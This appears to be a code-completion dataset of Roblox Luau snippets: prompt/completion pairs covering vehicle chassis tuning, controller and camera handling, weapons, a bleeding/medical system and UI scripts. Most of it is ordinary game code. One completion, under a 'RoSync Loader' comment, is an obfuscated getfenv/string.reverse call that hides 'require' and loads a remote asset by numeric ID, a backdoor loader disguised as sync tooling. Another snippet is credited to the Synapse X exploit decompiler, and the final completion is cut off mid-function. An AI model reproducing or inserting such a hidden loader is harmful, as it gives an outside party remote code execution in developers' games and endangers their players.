prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-----------------
sensoring1 = Instance.new("Part", Player.Character.Torso) sensoring1.Size = Vector3.new(1.2,1.1,0.8) sensoring1.CanCollide = false sensoring1.Position = Player.Character.Torso.Position local welder1 = Instance.new("Weld", sensoring) welder1.Part0 = Player.Character.Torso welder1.Part1 = sensoring1 welder1.C0 = welder1.C0 * CFrame.new(0,0,-1.05) sensoring1.Transparency = 1 local function touch() if not using then using = true wait(0.1) using = false end end sensoring.Touched:connect(touch) sensoring1.Touched:connect(touch)
--!strict
local RunService = game:GetService("RunService") local Players = game:GetService("Players") local fmt = string.format local OPT_AXIS_ATTRIBUTE = "Axis" local OPT_AXIS = "Z" local OPT_DEGREES_ATTRIBUTE = "Degrees" local OPT_DEGREES = 1 local ERR_NOT_MODEL = "Rotate expects a Model, but got %q (%s)" local Obstacle = {} Obstacle.__index = Obstacle function Obstacle.new(model: Model) assert(model:IsA("Model"), fmt(ERR_NOT_MODEL, model:GetFullName(), model.ClassName)) local self = setmetatable({}, Obstacle) self._events = {} self._model = model self._distance = model:GetModelSize().Magnitude * 2 self._rotation = 0 self._axis = model:GetAttribute(OPT_AXIS_ATTRIBUTE) or OPT_AXIS self._degrees = model:GetAttribute(OPT_DEGREES_ATTRIBUTE) or OPT_DEGREES self._initCFrame = model:GetPrimaryPartCFrame() local bodyPosition = Instance.new("BodyPosition") local bodyGyro = Instance.new("BodyGyro") bodyPosition.P = 1e5 bodyPosition.MaxForce = Vector3.new(math.huge, math.huge, math.huge) bodyPosition.Position = self._model:GetPrimaryPartCFrame().Position bodyPosition.Parent = model.PrimaryPart bodyGyro.P = 1e4 bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5) bodyGyro.Parent = model.PrimaryPart self._bodyPosition = bodyPosition self._bodyGyro = bodyGyro -- TODO: Defer render to global handler table.insert(self._events, RunService.Heartbeat:Connect(function() self:RenderUpdate() end)) return self end function Obstacle:GetRotationCFrame(): CFrame (self::any)._rotation += self._degrees::number % 360 local degrees = math.rad(self._rotation) if self._axis == "X" then return CFrame.Angles(degrees, 0, 0) elseif self._axis == "Y" then return CFrame.Angles(0, degrees, 0) end return CFrame.Angles(0, 0, degrees) end function Obstacle:RenderUpdate() local angles = self:GetRotationCFrame() self._bodyGyro.CFrame = self._initCFrame * angles end function Obstacle:Destroy() for _, event: RBXScriptConnection in ipairs(self._events) do event:Disconnect() end end return Obstacle
-- Decompiled with the Synapse X Luau decompiler.
local l__Parent__1 = script.Parent; local l__SocialService__1 = game:GetService("SocialService"); local l__LocalPlayer__2 = game.Players.LocalPlayer; function onButtonPressed() local v2, v3 = pcall(function() return l__SocialService__1:CanSendGameInviteAsync(l__LocalPlayer__2); end); if v3 == true then l__SocialService__1:PromptGameInvite(l__LocalPlayer__2); end; end; l__Parent__1.MouseButton1Click:Connect(onButtonPressed); l__Parent__1.TouchTap:Connect(onButtonPressed);
--------------------[ MOUSE FUNCTIONS ]-----------------------------------------------
function onMB1Down() MB1Down = true firstShot = true if fireFunction then fireFunction() end end function onMB1Up() MB1Down = false lowerSpread() end function onMB2Down() if S.aimSettings.holdToADS then if (not AimingIn) and (not Aimed) then AimingIn = true aimGun() AimingIn = false end else if Aimed then unAimGun() else aimGun() end end end function onMB2Up() if S.aimSettings.holdToADS then if (not AimingOut) and Aimed then AimingOut = true unAimGun() AimingOut = false end end end function onScrollUp() local newAimSensitivity = aimSensitivity + S.sensitivitySettings.Increment aimSensitivity = ( newAimSensitivity < S.sensitivitySettings.Min and S.sensitivitySettings.Min or newAimSensitivity > S.sensitivitySettings.Max and S.sensitivitySettings.Max or newAimSensitivity ) mouseSensitivity = (Aimed and aimSensitivity or mouseSensitivity) Sens.Text = "S: "..aimSensitivity if mainGUI:IsDescendantOf(game) then Sens.Visible = true local t0 = tick() lastSensUpdate = t0 wait(0.3) if lastSensUpdate <= t0 then Sens.Visible = true end end end function onScrollDown() local newAimSensitivity = aimSensitivity - S.sensitivitySettings.Increment aimSensitivity = ( newAimSensitivity < S.sensitivitySettings.Min and S.sensitivitySettings.Min or newAimSensitivity > S.sensitivitySettings.Max and S.sensitivitySettings.Max or newAimSensitivity ) mouseSensitivity = (Aimed and aimSensitivity or mouseSensitivity) Sens.Text = "S: "..aimSensitivity if mainGUI:IsDescendantOf(game) then Sens.Visible = true local t0 = tick() lastSensUpdate = t0 wait(0.3) if lastSensUpdate <= t0 then Sens.Visible = true end end end
--[[Misc]]
Tune.LoadDelay = .5 -- Delay before initializing chassis (in seconds) Tune.AutoStart = true -- Set to false if using manual ignition plugin Tune.AutoFlip = true -- Set to false if using manual flip plugin
-- --mouse.KeyDown:connect( -- function(key) -- if key == 'c' then -- Chassis.Redress() -- end -- end --)
game:GetService("UserInputService").InputBegan:connect( function(input, processed) if( (input.KeyCode == Enum.KeyCode.ButtonX or input.KeyCode == Enum.KeyCode.C) and input.UserInputState == Enum.UserInputState.Begin ) then Chassis.Redress() end end )
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.G and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and energy.Value > 40 then Debounce = 2 Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge) Track1:Play() script.RemoteEventS:FireServer() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.G and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 3 local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) wait(1) plr.Character.LeftHand.EFhand:Destroy() plr.Character.RightHand.EFhand:Destroy() Track2:Stop() wait(.5) Tool.Active.Value = "None" wait(1.5) plr.Character.HumanoidRootPart.Anchored = false wait(5) Debounce = 1 end end)
-- Function to call on renderstepped. Orients the character so it is facing towards -- the player mouse's position in world space. If character is sitting then the torso -- should not track
local function frame(mousePosition) -- Special mobile consideration. We don't want to track if the user was touching a ui -- element such as the movement controls. Just return out of function if so to make sure -- character doesn't track if not mobileShouldTrack then return end -- Make sure character isn't swiming. If the character is swimming the following code will -- not work well; the character will not swim correctly. Besides, who shoots underwater? if player.Character.Humanoid:GetState() ~= Enum.HumanoidStateType.Swimming then local torso = player.Character.Torso local head = player.Character.Head local toMouse = (mousePosition - head.Position).unit local angle = math.acos(toMouse:Dot(Vector3.new(0,1,0))) local neckAngle = angle -- Limit how much the head can tilt down. Too far and the head looks unnatural if math.deg(neckAngle) > 110 then neckAngle = math.rad(110) end neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.pi - neckAngle,math.pi,0) -- Calculate horizontal rotation local arm = player.Character:FindFirstChild("Right Arm") local fromArmPos = torso.Position + torso.CFrame:vectorToWorldSpace(Vector3.new( torso.Size.X/2 + arm.Size.X/2, torso.Size.Y/2 - arm.Size.Z/2, 0)) local toMouseArm = ((mousePosition - fromArmPos) * Vector3.new(1,0,1)).unit local look = (torso.CFrame.lookVector * Vector3.new(1,0,1)).unit local lateralAngle = math.acos(toMouseArm:Dot(look)) -- Check for rogue math if tostring(lateralAngle) == "-1.#IND" then lateralAngle = 0 end -- Handle case where character is sitting down if player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Seated then local cross = torso.CFrame.lookVector:Cross(toMouseArm) if lateralAngle > math.pi/2 then lateralAngle = math.pi/2 end if cross.Y < 0 then lateralAngle = -lateralAngle end end -- Turn shoulder to point to mouse shoulder.C0 = CFrame.new(1,0.5,0) * CFrame.Angles(math.pi/2 - angle,math.pi/2 + lateralAngle,0) -- If not sitting then aim torso laterally towards mouse if not amISitting(player.Character) then torso.CFrame = CFrame.new(torso.Position, torso.Position + (Vector3.new( mousePosition.X, torso.Position.Y, mousePosition.Z)-torso.Position).unit) end end end
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = 0 Tune.RCamber = 0 Tune.FToe = 0 Tune.RToe = 0
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.P , --Handbrake PBrake = Enum.KeyCode.LeftShift , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Camo",Paint) end)
--[[ The Module ]]
-- local BaseOcclusion = require(script.Parent:WaitForChild("BaseOcclusion")) local Invisicam = setmetatable({}, BaseOcclusion) Invisicam.__index = Invisicam function Invisicam.new() local self = setmetatable(BaseOcclusion.new(), Invisicam) self.char = nil self.humanoidRootPart = nil self.torsoPart = nil self.headPart = nil self.childAddedConn = nil self.childRemovedConn = nil self.behaviors = {} -- Map of modes to behavior fns self.behaviors[MODE.LIMBS] = self.LimbBehavior self.behaviors[MODE.MOVEMENT] = self.MoveBehavior self.behaviors[MODE.CORNERS] = self.CornerBehavior self.behaviors[MODE.CIRCLE1] = self.CircleBehavior self.behaviors[MODE.CIRCLE2] = self.CircleBehavior self.behaviors[MODE.LIMBMOVE] = self.LimbMoveBehavior self.behaviors[MODE.SMART_CIRCLE] = self.SmartCircleBehavior self.behaviors[MODE.CHAR_OUTLINE] = self.CharacterOutlineBehavior self.mode = MODE.SMART_CIRCLE self.behaviorFunction = self.SmartCircleBehavior self.savedHits = {} -- Objects currently being faded in/out self.trackedLimbs = {} -- Used in limb-tracking casting modes self.camera = game.Workspace.CurrentCamera self.enabled = false return self end function Invisicam:Enable(enable) self.enabled = enable if not enable then self:Cleanup() end end function Invisicam:GetOcclusionMode() return Enum.DevCameraOcclusionMode.Invisicam end
-- Requires
local FirstPersonRigAssembly = require(ReplicatedStorage.Common.FirstPersonRigAssembly) local Database = require(ReplicatedStorage.Common.Database)
-- Table that will store info for each falling object
local fallingStuffTable = {}
--gui data
local gui = tool:WaitForChild("gui") local ammogui = gui:WaitForChild("ammo") local maggui = ammogui:WaitForChild("mag") local chamberedgui = ammogui:WaitForChild("chambered") magleft.Changed:Connect(function(new) maggui.Text = tostring(new) end) binmag.Changed:Connect(function(new) ammogui.Text = tostring(new) end) bchambered.Changed:Connect(function(new) chamberedgui.Text = tostring(new) end)
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
------//Patrol Animations
self.RightPatrol = CFrame.new(-.85, 0.75, -1.3) * CFrame.Angles(math.rad(-30), math.rad(-90), math.rad(0)); self.LeftPatrol = CFrame.new(1.5,1.1,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)); self.RightElbowPatrol = CFrame.new(0,-0.2,-.1) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(0)); self.LeftElbowPatrol = CFrame.new(0,-0.15,-0.25) * CFrame.Angles(math.rad(-50), math.rad(0), math.rad(0)); self.RightWristPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-15)); self.LeftWristPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(-90), math.rad(0));
-- Makes copies of all the admin tools and puts them in target
wait (5) local function CloneAdminTools(target) for _, tool in pairs(AdminTools:GetChildren()) do local toolClone = tool:Clone() toolClone.Parent = target end end
--[[ game.Workspace.Player.Humanoid.Running:Connect(function(speed) if speed > 1 and Sangrando.Value == true then Sang.Value = (Sang.Value - (MLs.Value/30)) end if speed > 1 and bbleeding.Value == true then Sang.Value = (Sang.Value - (MLs.Value/30)) end end) ]]
-- while configuracao.EnableMedSys do wait() if Sangrando.Value == true then if PastasStan.Tourniquet.Value == false then Sang.Value = (Sang.Value - (MLs.Value/60)) MLs.Value = MLs.Value + 0.025 if PastasStan.skit.Value == true then Sang.Value = Sang.Value - (MLs.Value/500) end UltimoSang = Sang.Value end end if bbleeding.Value == true then if PastasStan.Tourniquet.Value == false then Sang.Value = (Sang.Value - (MLs.Value/100)) elseif PastasStan.Tourniquet.Value == true then Sang.Value = (Sang.Value - (MLs.Value/220)) end MLs.Value = MLs.Value + 0.025 if PastasStan.skit.Value == true then Sang.Value = Sang.Value - (MLs.Value/500) end UltimoSang = Sang.Value end if balloonbleed.Value == true then Sang.Value = (Sang.Value - (MLs.Value/10000)) MLs.Value = MLs.Value + 0.025 if PastasStan.skit.Value == true then Sang.Value = Sang.Value - (MLs.Value/300) end UltimoSang = Sang.Value end if surg2.Value == true then Sang.Value = (Sang.Value - (MLs.Value/110)) MLs.Value = MLs.Value + 0.025 if PastasStan.skit.Value == true then Sang.Value = Sang.Value - (MLs.Value/300) end UltimoSang = Sang.Value end if clamped.Value == true then Sang.Value = (Sang.Value - (MLs.Value/1000)) MLs.Value = MLs.Value + 0.025 UltimoSang = Sang.Value end if cutopen.Value == true then Sang.Value = (Sang.Value - (MLs.Value/600)) MLs.Value = MLs.Value + 0.025 UltimoSang = Sang.Value end --hey mop removed o2 if you see this hah-- if PastasStan.Tourniquet.Value == true then Dor.Value = Dor.Value + 0.1 end if (human.Health - ultimavida < 0) then Dor.Value = math.ceil(Dor.Value + (human.Health - ultimavida)*(-configuracao.PainMult)) --Energia.Value = math.ceil(Energia.Value + (human.Health - ultimavida)*(5)) end if (human.Health - ultimavida < 0) --[[and (Sangrando.Value == true)]] then MLs.Value = MLs.Value + ((ultimavida - human.Health)* (configuracao.BloodMult)) end if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.BleedDamage) then Sangrando.Value = true if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.InjuredDamage) then Ferido.Value = true bbleeding.Value = true Sangrando.Value = true if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.KODamage) then Caido.Value = true local bruh = math.random(1,2) if bruh == 2 then surg2.Value = true else surg2.Value = false end Sangrando.Value = true bbleeding.Value = true end end end if script.Parent.Parent.Humanoid.Health <= 2 then rodeath.Value = true human.PlatformStand = true human.AutoRotate = false Caido.Value = true --cpr.Value = false life.Value = false --Sangrando.Value = true bbleeding.Value = true end if human.Health >= human.MaxHealth and Sangrando.Value == false then Sang.Value = Sang.Value + 0.5 Dor.Value = Dor.Value - 0.025 MLs.Value = MLs.Value - 0.025 end ultimavida = script.Parent.Parent.Humanoid.Health spawn(function(timer) if Sang.Value >= 3500 and Dor.Value < 200 and Caido.Value == true and debounce == false then debounce = true wait(60) debounce = false end end) local currhealth = 100 if life.Value == false or rodeath.Value == true then human.PlatformStand = true human.AutoRotate = false Caido.Value = true local bruh = math.clamp(MLs.Value/8000, 0.1, 0.14) if o2.Value == true then bruh = 0.005 MLs.Value = 0 end human.Health = human.Health - bruh if PastasStan.Tourniquet.Value == false then Sang.Value = (Sang.Value - (MLs.Value/90)) MLs.Value = MLs.Value + 0.025 else Sang.Value = (Sang.Value - (MLs.Value/210)) MLs.Value = MLs.Value + 0.025 end end end -- Quero um pouco de credito,plox :P -- -- FEITO 100% POR SCORPION -- -- Oficial Release 1.5 --
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 120 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 220 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 250 , spInc = 50 , -- Increment between labelled notches } }
--[[ Last synced 12/1/2022 07:23 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--Triggered --* called when the dialogue has a TriggerDistance and the player --* walks in range of it. Here so you can manage your interaction --* buttons, etc. Call the callback to start the dialogue.
function Interface.Triggered(dialogue, startDialogueCallback) end
-- Testing AC FE support
local event = script.Parent local car=script.Parent.Parent local LichtNum = 0 event.OnServerEvent:connect(function(player,data) if data['ToggleLight'] then if car.Body.Light.on.Value==true then car.Body.Light.on.Value=false else car.Body.Light.on.Value=true end elseif data['EnableBrakes'] then car.Body.Brakes.on.Value=true elseif data['DisableBrakes'] then car.Body.Brakes.on.Value=false elseif data['ToggleLeftBlink'] then if car.Body.Left.on.Value==true then car.Body.Left.on.Value=false else car.Body.Left.on.Value=true car.Body.Right.on.Value=false end elseif data['ToggleRightBlink'] then if car.Body.Right.on.Value==true then car.Body.Right.on.Value=false else car.Body.Right.on.Value=true car.Body.Left.on.Value=false end elseif data['ReverseOn'] then car.Body.Reverse.on.Value=true elseif data['ReverseOff'] then car.Body.Reverse.on.Value=false elseif data['ToggleStandlicht'] then if LichtNum == 0 then LichtNum = 2 car.Body.Headlight.on.Value = true elseif LichtNum == 1 then LichtNum = 2 car.Body.Headlight.on.Value = true elseif LichtNum == 2 then LichtNum = 3 car.Body.Highlight.on.Value = true elseif LichtNum == 3 then LichtNum = 1 car.Body.Highlight.on.Value = false car.Body.Headlight.on.Value = false end elseif data['ToggleHazards'] then if car.Body.Right.on.Value==true and car.Body.Left.on.Value==true then car.Body.Right.on.Value=false car.Body.Left.on.Value=false else car.Body.Right.on.Value=true car.Body.Left.on.Value=true end end end)
-- Create target box pool
local TargetBoxPool = InstancePool.new(60, function () return Make 'SelectionBox' { Name = 'BTTargetBox', Parent = GetCore().UI, LineThickness = 0.025, Transparency = 0.5, Color = BrickColor.new 'Institutional white' } end)
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=70 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end CRot = CRot + script.Parent.Values.SteerC.Value*-10 cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="z" then look=50 elseif key=="x" then if intcam then look=-160 else look=-180 end elseif key=="c" then look=-50 elseif key=="v" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="z" and look==50 then look=0 elseif key=="x" and (look==-160 or look==-180) then look=0 elseif key=="c" and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
------------------------------------------
local pit = gui.PitchControl pit.TextLabel.Text = ("Pitch: "..(radio.Pitch.Value*10).."%") radio.Pitch.Changed:connect(function() pit.TextLabel.Text = ("Pitch: "..(radio.Pitch.Value*10).."%") end) pit.Up.MouseButton1Click:connect(function() radio.Pitch.Value = math.min(radio.Pitch.Value+.5,50) end) pit.Down.MouseButton1Click:connect(function() radio.Pitch.Value = math.max(radio.Pitch.Value-.5,0) end)
--[[ Runs a non-promise-returning function as a Promise with the given arguments. ]]
function Promise._try(traceback, callback, ...) local valuesLength, values = pack(...) return Promise._new(traceback, function(resolve) resolve(callback(unpack(values, 1, valuesLength))) end) end
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) 